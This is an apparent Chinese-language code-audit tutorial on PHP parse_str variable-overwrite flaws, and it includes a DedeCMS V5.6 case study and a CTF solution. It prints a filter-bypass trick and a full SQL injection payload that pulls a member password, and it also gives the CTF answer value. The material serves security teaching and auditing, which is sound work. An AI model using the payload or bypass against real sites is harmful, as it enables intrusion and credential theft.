[红日安全]代码审计Day7 - parse_str函数缺陷
字数 1326 2025-08-18 11:37:33
PHP代码审计:parse_str函数缺陷与变量覆盖漏洞
1. parse_str函数基础
1.1 函数定义
parse_str函数用于解析字符串并注册为变量:
void parse_str(string $encoded_string [, array &$result])
1.2 功能特性
- 将URL查询字符串解析为变量并设置到当前作用域
- 如果提供第二个数组参数,则结果会存入该数组而非当前作用域
- 关键缺陷:在注册变量前不会验证当前变量是否存在,会直接覆盖当前作用域中的原有变量
2. 漏洞原理分析
2.1 典型漏洞场景
$a = "hongri";
$id = $_GET['id'];
@parse_str($id); // 危险:可能覆盖$a变量
2.2 漏洞利用方式
通过构造特殊参数覆盖已有变量:
?id=a[0]=240610708
这将导致$a[0]被覆盖为攻击者指定的值
3. 实际案例分析:DedeCMS V5.6漏洞
3.1 漏洞位置
member/buy_action.php文件中存在以下关键代码:
$pd_encode = $_REQUEST['pd_encode'];
parse_str(mchStrCode($pd_encode, 'DECODE'), $mch_Post);
foreach($mch_Post as $k => $v) {
$$
k = $v; // 变量覆盖漏洞
}
3.2 漏洞利用链
- 攻击者控制
pd_encode参数 - 参数经过
mchStrCode解码 parse_str解析后产生变量覆盖- 通过
foreach循环将数组键名注册为变量
3.3 关键函数分析:mchStrCode
function mchStrCode($string, $action = 'ENCODE') {
$key = substr(md5($_SERVER["HTTP_USER_AGENT"].$GLOBALS['cfg_cookie_encode']),8,18);
// ...加密/解密逻辑...
}
- 加密密钥由
User-Agent和cfg_cookie_encode组合生成 cfg_cookie_encode可通过暴力破解获取(26^6*(9999-1000)种可能)
4. 漏洞利用技巧
4.1 绕过过滤机制
原始过滤代码(common.inc.php):
foreach($_REQUEST as $_k => $_v) {
if(strlen($_k) > 0 && preg_match('/^(GLOBALS|_GET|_POST|_COOKIE|_SERVER)/i',$_k)) {
exit('Request var not allow!');
}
}
绕过方法:
利用$_REQUEST与parse_str解析差异:
- 提交:
a=1&b=2%26c=3 $_REQUEST解析为:[a=1, b=2%26c=3]parse_str解析为:[a=1, b=2, c=3]
4.2 完整利用步骤
- 构造SQL注入payload:
product=card&pid=1&a=1%26cfg_dbprefix=dede_member_operation WHERE 1=@'/!12345union/ select 1,2,3,4,5,6,7,8,9,10 FROM (SELECT COUNT(),CONCAT( (SELECT pwd FROM dede_member LIMIT 0,1),FLOOR(RAND(0)2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a %23
-
获取系统生成的
pd_encode和pd_verify值 -
构造最终攻击URL:
http://target.com/member/buy_action.php?pd_encode=...&pd_verify=...
5. 修复方案
5.1 安全使用parse_str
// 安全用法:使用数组参数
parse_str($input, $output);
// 然后手动处理$output数组中的值
5.2 变量覆盖防护
// 使用extract时的安全配置
extract($input_array, EXTR_SKIP); // 遇到冲突跳过
5.3 补丁对比
DedeCMS V5.7.36补丁主要改进:
- 加强
mchStrCode加密强度 - 修改
cfg_cookie_encode生成方式 - 增加输入验证
6. CTF题目分析
6.1 题目代码
$a = "hongri";
$id = $_GET['id'];
@parse_str($id);
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {
echo '<a href="uploadsomething.php">flag is here</a>';
}
6.2 解题思路
- 利用parse_str覆盖
$a[0] - 利用PHP弱类型比较漏洞(MD5碰撞)
- 已知
QNKCDZO的MD5是0e830400451993494058024219903391
6.3 解决方案
构造payload:
?id=a[0]=240610708
因为:
md5('240610708') = "0e462097431906509019562988736854"- PHP会将其与
0e830400451993494058024219903391进行弱类型比较(都视为0)
7. 总结
-
parse_str函数使用不当会导致变量覆盖漏洞
-
结合其他漏洞(如加密函数缺陷)可形成完整攻击链
-
防御措施:
- 避免直接使用parse_str注册变量
- 使用数组参数形式
- 对用户输入进行严格过滤
- 使用extract时设置EXTR_SKIP参数
-
审计时重点关注:
- parse_str/extract的使用
- 变量覆盖可能性
- 加密/解密函数的安全性